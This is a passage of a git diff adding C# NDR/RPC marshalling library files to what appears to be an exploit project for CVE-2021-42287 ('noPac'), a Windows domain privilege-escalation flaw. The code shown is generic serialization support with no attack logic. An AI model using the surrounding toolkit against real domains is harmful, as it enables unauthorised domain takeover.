NdrEmbeddedPointer(default); + return Tuple.Create(ret, new Action(() => ret._value = unmarshal_func())); + } + + internal static Tuple, Action> CreateDeferredReader(Func unmarshal_func, U arg) + { + NdrEmbeddedPointer ret = new NdrEmbeddedPointer(default); + return Tuple.Create(ret, new Action(() => ret._value = unmarshal_func(arg))); + } + + internal static Tuple, Action> CreateDeferredReader(Func unmarshal_func, U arg, V arg2) + { + NdrEmbeddedPointer ret = new NdrEmbeddedPointer(default); + return Tuple.Create(ret, new Action(() => ret._value = unmarshal_func(arg, arg2))); + } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/ndr/Ndr/Marshal/NdrEmpty.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/ndr/Ndr/Marshal/NdrEmpty.cs new file mode 100644 index 0000000..7fe8a6c --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/ndr/Ndr/Marshal/NdrEmpty.cs @@ -0,0 +1,23 @@ +// Copyright 2019 Google Inc. All Rights Reserved. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +namespace Rubeus.Ndr.Marshal +{ + /// + /// Structure to represent an empty value. + /// + public struct NdrEmpty + { + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/ndr/Ndr/Marshal/NdrEnum16.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/ndr/Ndr/Marshal/NdrEnum16.cs new file mode 100644 index 0000000..4380570 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/ndr/Ndr/Marshal/NdrEnum16.cs @@ -0,0 +1,191 @@ +// Copyright 2019 Google Inc. All Rights Reserved. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +using System; + +namespace Rubeus.Ndr.Marshal +{ + /// + /// Class to represent a 16 bit enumerated type. + /// + public struct NdrEnum16 : IFormattable, IEquatable + { + /// + /// Value of the structure. + /// + public readonly int Value; + + /// + /// Constructor. + /// + /// + public NdrEnum16(int value) + { + Value = value; + } + + /// + /// Constructor. + /// + /// The value to construct from. + public static implicit operator NdrEnum16(int value) + { + return new NdrEnum16(value); + } + + /// + /// Constructor. + /// + /// The value to construct from. + public static implicit operator int(NdrEnum16 value) + { + return value.Value; + } + + /// + /// Constructor. + /// + /// The value to construct from. + public static explicit operator NdrEnum16(uint value) + { + return new NdrEnum16((int)value); + } + + /// + /// Constructor. + /// + /// The value to construct from. + public static explicit operator long(NdrEnum16 value) + { + return value.Value; + } + + /// + /// Constructor. + /// + /// The value to construct from. + public static explicit operator NdrEnum16(long value) + { + return new NdrEnum16((int)value); + } + + /// + /// Constructor. + /// + /// The value to construct from. + public static explicit operator NdrEnum16(Enum value) + { + Type enum_type = value.GetType().GetEnumUnderlyingType(); + if (enum_type == typeof(uint)) + { + return (NdrEnum16)Convert.ToUInt32(value); + } + return new NdrEnum16(Convert.ToInt32(value)); + } + + /// + /// Constructor. + /// + /// The value to construct from. + public static explicit operator uint(NdrEnum16 value) + { + return (uint)value.Value; + } + + /// + /// Equality operator. + /// + /// The left value. + /// The right value. + /// True if the values are equal. + public static bool operator ==(NdrEnum16 left, NdrEnum16 right) + { + return left.Equals(right); + } + + /// + /// Inequality operator. + /// + /// The left value. + /// The right value. + /// True if the values are not-equal. + public static bool operator !=(NdrEnum16 left, NdrEnum16 right) + { + return !left.Equals(right); + } + + /// + /// Overridden ToString. + /// + /// The value as a string. + public override string ToString() + { + return Value.ToString(); + } + + /// + /// ToString method. + /// + /// The formatting string. + /// The value as a string. + public string ToString(string format) + { + return Value.ToString(format); + } + + /// + /// IFormattable ToString. + /// + /// The formatting string. + /// Formatting provider. + /// The value as a string. + public string ToString(string format, IFormatProvider formatProvider) + { + return Value.ToString(format, formatProvider); + } + + /// + /// Equals operator. + /// + /// The other enum16. + /// True if the values are equal. + public bool Equals(NdrEnum16 other) + { + return Value == other.Value; + } + + /// + /// Compare + /// + /// + /// + public override bool Equals(object obj) + { + if (obj is NdrEnum16 e) + { + return Equals(e); + } + return false; + } + + /// + /// Overridden GetHashCode. + /// + /// The hash code of the enumeration. + public override int GetHashCode() + { + return Value.GetHashCode(); + } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/ndr/Ndr/Marshal/NdrInt3264.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/ndr/Ndr/Marshal/NdrInt3264.cs new file mode 100644 index 0000000..33e4124 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/ndr/Ndr/Marshal/NdrInt3264.cs @@ -0,0 +1,167 @@ +// Copyright 2019 Google Inc. All Rights Reserved. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +using System; + +namespace Rubeus.Ndr.Marshal +{ + /// + /// Structure which represents an NDR FC_INT3264 + /// + public struct NdrInt3264 : IFormattable + { + /// + /// Value of the structure. + /// + public readonly int Value; + + /// + /// Constructor. + /// + /// The value to construct from. + public NdrInt3264(int value) + { + Value = value; + } + + /// + /// Constructor. + /// + /// The value to construct from. + public NdrInt3264(IntPtr value) + { + Value = (int)value.ToInt64(); + } + + /// + /// Convert to a native IntPtr. + /// + /// The value to convert from. + public static implicit operator IntPtr(NdrInt3264 i) + { + return new IntPtr(i.Value); + } + + /// + /// Overridden ToString. + /// + /// The value as a string. + public override string ToString() + { + return Value.ToString(); + } + + /// + /// ToString method. + /// + /// The formatting string. + /// The value as a string. + public string ToString(string format) + { + return Value.ToString(format); + } + + /// + /// IFormattable ToString. + /// + /// The formatting string. + /// Formatting provider. + /// The value as a string. + public string ToString(string format, IFormatProvider formatProvider) + { + return Value.ToString(format, formatProvider); + } + } + + /// + /// Structure which represents an NDR FC_UINT3264 + /// + public struct NdrUInt3264 : IFormattable + { + /// + /// Value of the structure. + /// + public readonly uint Value; + + /// + /// Constructor. + /// + /// The value to construct from. + public NdrUInt3264(uint value) + { + Value = value; + } + + /// + /// Constructor. + /// + /// The value to construct from. + public NdrUInt3264(int value) + : this((uint)value) + { + } + + /// + /// Constructor. + /// + /// The value to construct from. + public NdrUInt3264(IntPtr value) + { + Value = (uint)(value.ToInt64() & uint.MaxValue); + } + + /// + /// Convert to a native IntPtr. + /// + /// The value to convert from. + public static implicit operator IntPtr(NdrUInt3264 i) + { + if (IntPtr.Size == 8) + { + return new IntPtr(i.Value); + } + return new IntPtr((int)i.Value); + } + + /// + /// Overridden ToString. + /// + /// The value as a string. + public override string ToString() + { + return Value.ToString(); + } + + /// + /// ToString method. + /// + /// The formatting string. + /// The value as a string. + public string ToString(string format) + { + return Value.ToString(format); + } + + /// + /// IFormattable ToString. + /// + /// The formatting string. + /// Formatting provider. + /// The value as a string. + public string ToString(string format, IFormatProvider formatProvider) + { + return Value.ToString(format, formatProvider); + } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/ndr/Ndr/Marshal/NdrInterfacePointer.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/ndr/Ndr/Marshal/NdrInterfacePointer.cs new file mode 100644 index 0000000..a782274 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/ndr/Ndr/Marshal/NdrInterfacePointer.cs @@ -0,0 +1,61 @@ +// Copyright 2019 Google Inc. All Rights Reserved. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +using Rubeus.Win32.Rpc; + +namespace Rubeus.Ndr.Marshal +{ + /// + /// Class to represent an NDR interface pointer. + /// + public struct NdrInterfacePointer : INdrConformantStructure + { + /// + /// The marshaled interface data. + /// + public byte[] Data { get; set; } + + /// + /// Constructor. + /// + /// The marshaled interface data. + public NdrInterfacePointer(byte[] data) + { + Data = data; + } + + int INdrConformantStructure.GetConformantDimensions() + { + return 1; + } + + void INdrStructure.Marshal(NdrMarshalBuffer marshal) + { + RpcUtils.CheckNull(Data, "Data"); + marshal.WriteInt32(Data.Length); + marshal.WriteConformantByteArray(Data, Data.Length); + } + + void INdrStructure.Unmarshal(NdrUnmarshalBuffer unmarshal) + { + unmarshal.ReadInt32(); // length. + Data = unmarshal.ReadConformantByteArray(); + } + + int INdrStructure.GetAlignment() + { + return 4; + } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/ndr/Ndr/Marshal/NdrMarshalBuffer.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/ndr/Ndr/Marshal/NdrMarshalBuffer.cs new file mode 100644 index 0000000..4c57b9c --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/ndr/Ndr/Marshal/NdrMarshalBuffer.cs @@ -0,0 +1,1062 @@ +// Copyright 2019 Google Inc. All Rights Reserved. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +using Rubeus.Utilities.Text; +using System; +using System.Collections.Generic; +using System.IO; +using System.Text; + +namespace Rubeus.Ndr.Marshal +{ +#pragma warning disable 1591 + /// + /// A buffer to marshal NDR data to. + /// + /// This class is primarily for internal use only. + public class NdrMarshalBuffer + { + #region Private Members + private readonly MemoryStream _stm; + private readonly BinaryWriter _writer; + private NdrDeferralStack _deferred_writes; + private int _referent; + private long? _conformance_position; + + private bool WriteReferent(T obj) where T : class + { + if (obj == null) + { + WriteInt32(0); + return false; + } + else + { + WriteInt32(_referent); + _referent += 4; + return true; + } + } + + private bool WriteReferent(T? obj) where T : struct + { + if (!obj.HasValue) + { + WriteInt32(0); + return false; + } + else + { + WriteInt32(_referent); + _referent += 4; + return true; + } + } + + private void WriteEmbeddedPointer(NdrEmbeddedPointer pointer, Action writer) + { + if (WriteReferent(pointer)) + { + _deferred_writes.Add(writer); + } + } + + private void WriteStringArray(string[] array, Action writer, int count) + { + if (array == null) + { + array = new string[0]; + } + + for (int i = 0; i < count; ++i) + { + string value = i < array.Length ? array[i] : string.Empty; + WriteReferent(value); + _deferred_writes.Add(() => writer(value)); + } + } + + private void WriteConformance(params int[] conformance) + { + if (_conformance_position.HasValue) + { + long current_position = _stm.Position; + _stm.Position = _conformance_position.Value; + byte[] data = new byte[conformance.Length * 4]; + Buffer.BlockCopy(conformance, 0, data, 0, data.Length); + _stm.Write(data, 0, data.Length); + _stm.Position = current_position; + _conformance_position = null; + } + else + { + foreach (var i in conformance) + { + WriteInt32(i); + } + } + } + + private bool SetupConformance(int dimensions) + { + if (dimensions == 0 || _conformance_position.HasValue) + { + return false; + } + + for (int i = 0; i < dimensions; ++i) + { + WriteInt32(0x77777777); + } + + _conformance_position = _stm.Position - (dimensions * 4); + + return true; + } + + private void WriteStructInternal(INdrStructure structure) + { + Align(structure.GetAlignment()); + structure.Marshal(this); + } + + private void WriteUnionInternal(INdrNonEncapsulatedUnion union, long selector) + { + Align(union.GetAlignment()); + union.Marshal(this, selector); + } + + private void Align(int alignment) + { + byte[] buffer = new byte[NdrNativeUtils.CalculateAlignment((int)_stm.Length, alignment)]; + _stm.Write(buffer, 0, buffer.Length); + } + + #endregion + + #region Constructors + public NdrMarshalBuffer() : this(new NdrDataRepresentation() + { + CharacterRepresentation = NdrCharacterRepresentation.ASCII, + FloatingPointRepresentation = NdrFloatingPointRepresentation.IEEE, + IntegerRepresentation = NdrIntegerRepresentation.LittleEndian + }) + { + } + + public NdrMarshalBuffer(NdrDataRepresentation data_representation) + { + _stm = new MemoryStream(); + _writer = new BinaryWriter(_stm, Encoding.Unicode); + _referent = 0x20000; + _deferred_writes = new NdrDeferralStack(); + NdrUnmarshalBuffer.CheckDataRepresentation(data_representation); + DataRepresentation = data_representation; + } + + #endregion + + #region Misc Methods + + public void WriteUnsupported(NdrUnsupported type, string name) + { + throw new NotImplementedException($"Writing type {name} is unsupported"); + } + + public void WriteEmpty(NdrEmpty empty) + { + // Do nothing. + } + + public void WriteInterfacePointer(NdrInterfacePointer intf) + { + WriteStruct(intf); + } + + public void WritePipe(NdrPipe pipe) where T : struct + { + throw new NotImplementedException("Pipe support is not implemented"); + } + + public byte[] ToArray() + { + byte[] ret = _stm.ToArray(); + int alignment = NdrNativeUtils.CalculateAlignment(ret.Length, 8); + if (alignment > 0) + { + Array.Resize(ref ret, ret.Length + alignment); + } + + return ret; + } + + public NdrPickledType ToPickledType() + { + return new NdrPickledType(ToArray(), DataRepresentation); + } + + #endregion + + #region Primitive Types + public void WriteByte(byte b) + { + _writer.Write(b); + } + + public void WriteByte(byte? b) + { + if (b.HasValue) + { + WriteByte(b.Value); + } + } + + public void WriteSByte(sbyte b) + { + _writer.Write(b); + } + + public void WriteSByte(sbyte? b) + { + if (b.HasValue) + { + WriteSByte(b.Value); + } + } + + public void WriteInt16(short s) + { + Align(2); + _writer.Write(s); + } + + public void WriteInt16(short? s) + { + if (s.HasValue) + { + WriteInt16(s.Value); + } + } + + public void WriteUInt16(ushort s) + { + Align(2); + _writer.Write(s); + } + + public void WriteUInt16(ushort? s) + { + if (s.HasValue) + { + WriteUInt16(s.Value); + } + } + + public void WriteInt32(int i) + { + Align(4); + _writer.Write(i); + } + + public void WriteInt32(int? i) + { + if (i.HasValue) + { + WriteInt32(i.Value); + } + } + + public void WriteUInt32(uint i) + { + Align(4); + _writer.Write(i); + } + + public void WriteUInt32(uint? i) + { + if (i.HasValue) + { + WriteUInt32(i.Value); + } + } + + public void WriteInt64(long l) + { + Align(8); + _writer.Write(l); + } + + public void WriteInt64(long? l) + { + if (l.HasValue) + { + WriteInt64(l.Value); + } + } + + public void WriteUInt64(ulong l) + { + Align(8); + _writer.Write(l); + } + + public void WriteUInt64(ulong? l) + { + if (l.HasValue) + { + WriteUInt64(l.Value); + } + } + + public void WriteFloat(float f) + { + Align(4); + _writer.Write(f); + } + + public void WriteFloat(float? f) + { + if (f.HasValue) + { + WriteFloat(f.Value); + } + } + + public void WriteDouble(double d) + { + Align(8); + _writer.Write(d); + } + + public void WriteDouble(double? d) + { + if (d.HasValue) + { + WriteDouble(d.Value); + } + } + + public void WriteChar(char c) + { + Align(2); + _writer.Write(c); + } + + public void WriteChar(char? c) + { + if (c.HasValue) + { + WriteChar(c.Value); + } + } + + public void WriteInt3264(NdrInt3264 p) + { + WriteInt32(p.Value); + } + + public void WriteInt3264(NdrInt3264? p) + { + if (p.HasValue) + { + WriteInt3264(p.Value); + } + } + + public void WriteUInt3264(NdrUInt3264 p) + { + WriteUInt32(p.Value); + } + + public void WriteUInt3264(NdrUInt3264? p) + { + if (p.HasValue) + { + WriteUInt3264(p.Value); + } + } + + public void WriteEnum16(NdrEnum16 e) + { + WriteInt16((short)e.Value); + } + + public void WriteEnum16(NdrEnum16? p) + { + if (p.HasValue) + { + WriteEnum16(p.Value); + } + } + + #endregion + + #region String Types + + public void WriteTerminatedString(string str) + { + WriteConformantVaryingString(str, -1); + } + + public void WriteTerminatedAnsiString(string str) + { + WriteConformantVaryingAnsiString(str, -1); + } + + public void WriteConformantVaryingString(string str, long conformance) + { + if (str == null) + { + return; + } + + char[] values = (str + '\0').ToCharArray(); + if (conformance < 0) + { + conformance = values.Length; + } + + // Maximum count. + WriteConformance((int)conformance); + // Offset. + WriteInt32(0); + // Actual count. + WriteInt32(values.Length); + WriteChars(values); + } + + public void WriteConformantVaryingAnsiString(string str, long conformance) + { + if (str == null) + { + return; + } + + byte[] values = BinaryEncoding.Instance.GetBytes(str + '\0'); + if (conformance < 0) + { + conformance = values.Length; + } + + // Maximum count. + WriteConformance((int)conformance); + // Offset. + WriteInt32(0); + // Actual count. + WriteInt32(values.Length); + WriteBytes(values); + } + + public void WriteFixedString(string str, int fixed_count) + { + WriteFixedChars(str.ToCharArray(), fixed_count); + } + + public void WriteFixedAnsiString(string str, int fixed_count) + { + WriteFixedByteArray(BinaryEncoding.Instance.GetBytes(str), fixed_count); + } + + public void WriteVaryingString(string str) + { + if (str == null) + { + return; + } + + char[] values = (str + '\0').ToCharArray(); + // Offset. + WriteInt32(0); + // Actual count. + WriteInt32(values.Length); + WriteChars(values); + } + + public void WriteVaryingAnsiString(string str) + { + if (str == null) + { + return; + } + + byte[] values = BinaryEncoding.Instance.GetBytes(str + '\0'); + // Offset. + WriteInt32(0); + // Actual count. + WriteInt32(values.Length); + WriteBytes(values); + } + + #endregion + + #region Structure Types + + public void WriteGuid(Guid guid) + { + Align(4); + WriteBytes(guid.ToByteArray()); + } + + public void WriteGuid(Guid? guid) + { + if (guid.HasValue) + { + WriteGuid(guid.Value); + } + } + + public void WriteStruct(T? structure) where T : struct, INdrStructure + { + if (structure.HasValue) + { + WriteStruct(structure.Value); + } + } + + public void WriteStruct(T structure) where T : struct, INdrStructure + { + WriteStruct((INdrStructure)structure); + } + + public void WriteStruct(INdrStructure structure) + { + bool conformant = false; + if (structure is INdrConformantStructure conformant_structure) + { + conformant = SetupConformance(conformant_structure.GetConformantDimensions()); + System.Diagnostics.Debug.Assert(_conformance_position.HasValue); + } + + using (var queue = _deferred_writes.Push()) + { + WriteStructInternal(structure); + } + + if (conformant) + { + System.Diagnostics.Debug.Assert(!_conformance_position.HasValue); + } + } + + public void WriteUnion(T? union, long selector) where T : struct, INdrNonEncapsulatedUnion + { + if (union.HasValue) + { + WriteUnion((INdrNonEncapsulatedUnion)union.Value, selector); + } + } + + public void WriteUnion(T union, long selector) where T : struct, INdrNonEncapsulatedUnion + { + WriteUnion((INdrNonEncapsulatedUnion)union, selector); + } + + public void WriteUnion(INdrNonEncapsulatedUnion union, long selector) + { + WriteUnionInternal(union, selector); + } + + public void WriteContextHandle(NdrContextHandle handle) + { + WriteInt32(handle.Attributes); + WriteGuid(handle.Uuid); + } + + #endregion + + #region Pointer Types + public void WriteEmbeddedPointer(NdrEmbeddedPointer pointer, Action writer) + { + WriteEmbeddedPointer(pointer, () => writer(pointer)); + } + + public void WriteEmbeddedPointer(NdrEmbeddedPointer pointer, Action writer, U arg) + { + WriteEmbeddedPointer(pointer, () => writer(pointer, arg)); + } + + public void WriteEmbeddedPointer(NdrEmbeddedPointer pointer, Action writer, U arg, V arg2) + { + WriteEmbeddedPointer(pointer, () => writer(pointer, arg, arg2)); + } + + public void WriteReferent(T obj, Action writer) where T : class + { + if (WriteReferent(obj)) + { + writer(obj); + } + } + + public void WriteReferent(T obj, Action writer, U arg) where T : class + { + if (WriteReferent(obj)) + { + writer(obj, arg); + } + } + + public void WriteReferent(T obj, Action writer, U arg, V arg2) where T : class + { + if (WriteReferent(obj)) + { + writer(obj, arg, arg2); + } + } + + public void WriteReferent(T? obj, Action writer) where T : struct + { + if (WriteReferent(obj)) + { + writer(obj.Value); + } + } + + public void WriteReferent(T? obj, Action writer, U arg) where T : struct + { + if (WriteReferent(obj)) + { + writer(obj.Value, arg); + } + } + + public void WriteReferent(T? obj, Action writer, U arg, V arg2) where T : struct + { + if (WriteReferent(obj)) + { + writer(obj.Value, arg, arg2); + } + } + + #endregion + + #region Fixed Array Types + public void WriteBytes(byte[] array) + { + _writer.Write(array); + } + + public void WriteChars(char[] chars) + { + Align(2); + _writer.Write(chars); + } + + public void WriteFixedByteArray(byte[] array, int actual_count) + { + if (array.Length != actual_count) + { + array = (byte[])array.Clone(); + Array.Resize(ref array, actual_count); + } + _writer.Write(array); + } + + public void WriteFixedChars(char[] chars, int fixed_count) + { + Align(2); + if (chars.Length != fixed_count) + { + chars = (char[])chars.Clone(); + Array.Resize(ref chars, fixed_count); + } + _writer.Write(chars); + } + + public void WriteFixedPrimitiveArray(T[] array, int fixed_count) where T : struct + { + int size = NdrNativeUtils.GetPrimitiveTypeSize(); + int actual_size = array.Length * size; + byte[] total_buffer = new byte[size * fixed_count]; + Buffer.BlockCopy(array, 0, total_buffer, 0, Math.Min(actual_size, total_buffer.Length)); + Align(size); + WriteFixedByteArray(total_buffer, total_buffer.Length); + } + + public void WriteFixedStructArray(T[] arr, int actual_count) where T : INdrStructure, new() + { + using (var queue = _deferred_writes.Push()) + { + for (int i = 0; i < actual_count; ++i) + { + if (i < arr.Length) + { + WriteStructInternal(arr[i]); + } + else + { + WriteStructInternal(new T()); + } + } + } + } + + #endregion + + #region Varying Array Types + + public void WriteVaryingByteArray(byte[] array, long variance) + { + // Offset. + WriteInt32(0); + int var_int = (int)variance; + if (var_int < 0) + { + var_int = array.Length; + } + // Actual Count + WriteInt32(var_int); + Array.Resize(ref array, var_int); + WriteBytes(array); + } + + public void WriteVaryingCharArray(char[] array, long variance) + { + // Offset. + WriteInt32(0); + int var_int = (int)variance; + if (var_int < 0) + { + var_int = array.Length; + } + // Actual Count + WriteInt32(var_int); + Array.Resize(ref array, var_int); + WriteChars(array); + } + + public void WriteVaryingPrimitiveArray(T[] array, long variance) where T : struct + { + WriteInt32(0); + int var_int = (int)variance; + if (var_int < 0) + { + var_int = array.Length; + } + // Actual Count + WriteInt32(var_int); + WriteFixedPrimitiveArray(array, var_int); + } + + public void WriteVaryingStructArray(T[] array, long variance) where T : struct, INdrStructure + { + using (var queue = _deferred_writes.Push()) + { + WriteVaryingArrayCallback(array, t => WriteStructInternal(t), variance); + } + } + + public void WriteVaryingArray(T[] array, long variance) where T : struct + { + if (typeof(T) == typeof(byte)) + { + WriteVaryingByteArray(array.Cast(), variance); + } + else if (typeof(T) == typeof(char)) + { + WriteVaryingCharArray(array.Cast(), variance); + } + else if (typeof(T) == typeof(INdrStructure)) + { + using (var queue = _deferred_writes.Push()) + { + WriteVaryingArrayCallback(array, p => WriteStructInternal((INdrStructure)p), variance); + } + } + else if (typeof(T).IsPrimitive) + { + WriteVaryingPrimitiveArray(array, variance); + } + else + { + throw new ArgumentException($"Invalid type {typeof(T)} for {nameof(WriteVaryingArray)}"); + } + } + + public void WriteVaryingArrayCallback(T[] array, Action writer, long variance) + { + // Offset. + WriteInt32(0); + if (array == null) + { + array = new T[0]; + } + int var_int = (int)variance; + if (var_int < 0) + { + var_int = array.Length; + } + // Actual Count + WriteInt32(var_int); + for (int i = 0; i < var_int; ++i) + { + if (i < array.Length) + { + writer(array[i]); + } + else + { + writer(default); + } + } + } + + public void WriteVaryingStringArray(string[] array, Action writer, long variance) + { + // Offset. + WriteInt32(0); + // Actual Count + int var_int = (int)variance; + if (var_int < 0) + { + var_int = array.Length; + } + WriteInt32(var_int); + using (var queue = _deferred_writes.Push()) + { + WriteStringArray(array, writer, (int)variance); + } + } + + #endregion + + #region Conformant Array Types + + public void WriteConformantByteArray(byte[] array, long conformance) + { + int var_int = (int)conformance; + if (var_int < 0) + { + var_int = array.Length; + } + // Max Count + WriteConformance(var_int); + Array.Resize(ref array, var_int); + WriteBytes(array); + } + + public void WriteConformantCharArray(char[] array, long conformance) + { + int var_int = (int)conformance; + if (var_int < 0) + { + var_int = array.Length; + } + // Max Count + WriteConformance(var_int); + Array.Resize(ref array, var_int); + WriteChars(array); + } + + public void WriteConformantPrimitiveArray(T[] array, long conformance) where T : struct + { + int var_int = (int)conformance; + if (var_int < 0) + { + var_int = array.Length; + } + // Max Count + WriteConformance(var_int); + WriteFixedPrimitiveArray(array, var_int); + } + + public void WriteConformantStructArray(T[] array, long conformance) where T : struct, INdrStructure + { + using (var queue = _deferred_writes.Push()) + { + WriteConformantArrayCallback(array, t => WriteStructInternal(t), conformance); + } + } + + public void WriteConformantStringArray(string[] array, Action writer, long conformance) + { + int var_int = (int)conformance; + if (var_int < 0) + { + var_int = array.Length; + } + // Max Count + WriteConformance(var_int); + using (var queue = _deferred_writes.Push()) + { + WriteStringArray(array, writer, var_int); + } + } + + public void WriteConformantArrayCallback(T[] array, Action writer, long conformance) + { + // Max Count + if (array == null) + { + array = new T[0]; + } + int var_int = (int)conformance; + if (var_int < 0) + { + var_int = array.Length; + } + WriteConformance(var_int); + + for (int i = 0; i < var_int; ++i) + { + if (i < array.Length) + { + writer(array[i]); + } + else + { + writer(default); + } + } + } + + public void WriteConformantArray(T[] array, long conformance) where T : struct + { + if (typeof(T) == typeof(byte)) + { + WriteConformantByteArray(array.Cast(), conformance); + } + else if (typeof(T) == typeof(char)) + { + WriteConformantCharArray(array.Cast(), conformance); + } + else if (typeof(T) == typeof(INdrStructure)) + { + using (var queue = _deferred_writes.Push()) + { + WriteConformantArrayCallback(array, p => WriteStructInternal((INdrStructure)p), conformance); + } + } + else if (typeof(T).IsPrimitive) + { + WriteConformantPrimitiveArray(array, conformance); + } + else + { + throw new ArgumentException($"Invalid type {typeof(T)} for {nameof(WriteConformantArray)}"); + } + } + + #endregion + + #region Conformant Varying Array Types + + public void WriteConformantVaryingByteArray(byte[] array, long conformance, long variance) + { + // Max Count + int con_int = (int)conformance; + if (con_int < 0) + { + con_int = array.Length; + } + WriteConformance(con_int); + WriteVaryingByteArray(array, variance); + } + + public void WriteConformantVaryingCharArray(char[] array, long conformance, long variance) + { + // Max Count + int con_int = (int)conformance; + if (con_int < 0) + { + con_int = array.Length; + } + WriteConformance(con_int); + WriteVaryingCharArray(array, variance); + } + + public void WriteConformantVaryingPrimitiveArray(T[] array, long conformance, long variance) where T : struct + { + // Max Count + int con_int = (int)conformance; + if (con_int < 0) + { + con_int = array.Length; + } + WriteConformance(con_int); + WriteVaryingPrimitiveArray(array, variance); + } + + public void WriteConformantVaryingStructArray(T[] array, long conformance, long variance) where T : struct, INdrStructure + { + using (var queue = _deferred_writes.Push()) + { + WriteVaryingArrayCallback(array, t => WriteStructInternal(t), variance); + } + } + + public void WriteConformantVaryingStringArray(string[] array, Action writer, long conformance, long variance) + { + // Max Count + int con_int = (int)conformance; + if (con_int < 0) + { + con_int = array.Length; + } + WriteConformance(con_int); + using (var queue = _deferred_writes.Push()) + { + WriteVaryingStringArray(array, writer, (int)variance); + } + } + + public void WriteConformantVaryingArrayCallback(T[] array, Action writer, long conformance, long variance) + { + // Max Count + int con_int = (int)conformance; + if (con_int < 0) + { + con_int = array.Length; + } + WriteConformance(con_int); + WriteVaryingArrayCallback(array, writer, variance); + } + + public void WriteConformantVaryingArray(T[] array, long conformance, long variance) where T : struct + { + if (typeof(T) == typeof(byte)) + { + WriteConformantVaryingByteArray(array.Cast(), conformance, variance); + } + else if (typeof(T) == typeof(char)) + { + WriteConformantVaryingCharArray(array.Cast(), conformance, variance); + } + else if (typeof(T) == typeof(INdrStructure)) + { + using (var queue = _deferred_writes.Push()) + { + WriteConformantVaryingArrayCallback(array, p => WriteStructInternal((INdrStructure)p), conformance, variance); + } + } + else if (typeof(T).IsPrimitive) + { + WriteConformantVaryingPrimitiveArray(array, conformance, variance); + } + else + { + throw new ArgumentException($"Invalid type {typeof(T)} for {nameof(WriteConformantVaryingArray)}"); + } + } + + #endregion + + #region Public Properties + + public NdrDataRepresentation DataRepresentation { get; } + + #endregion + } +#pragma warning restore 1591 +} diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/ndr/Ndr/Marshal/NdrPickledType.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/ndr/Ndr/Marshal/NdrPickledType.cs new file mode 100644 index 0000000..66b44bb --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/ndr/Ndr/Marshal/NdrPickledType.cs @@ -0,0 +1,94 @@ +// Copyright 2019 Google Inc. All Rights Reserved. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +using System; +using System.IO; +using Rubeus.Win32.Rpc; + +namespace Rubeus.Ndr.Marshal +{ + /// + /// Represents an NDR pickled type. + /// + public class NdrPickledType + { + /// + /// Constructor from a type 1 serialized buffer. + /// + /// The type 1 serialized encoded buffer. + public NdrPickledType(byte[] encoded) + { + BinaryReader reader = new BinaryReader(new MemoryStream(encoded)); + if (reader.ReadByte() != 1) + { + throw new ArgumentException("Only support version 1 serialization"); + } + if (reader.ReadByte() != 0x10) + { + throw new ArgumentException("Only support little-endian NDR data."); + } + if (reader.ReadInt16() != 8) + { + throw new ArgumentException("Unexpected header length"); + 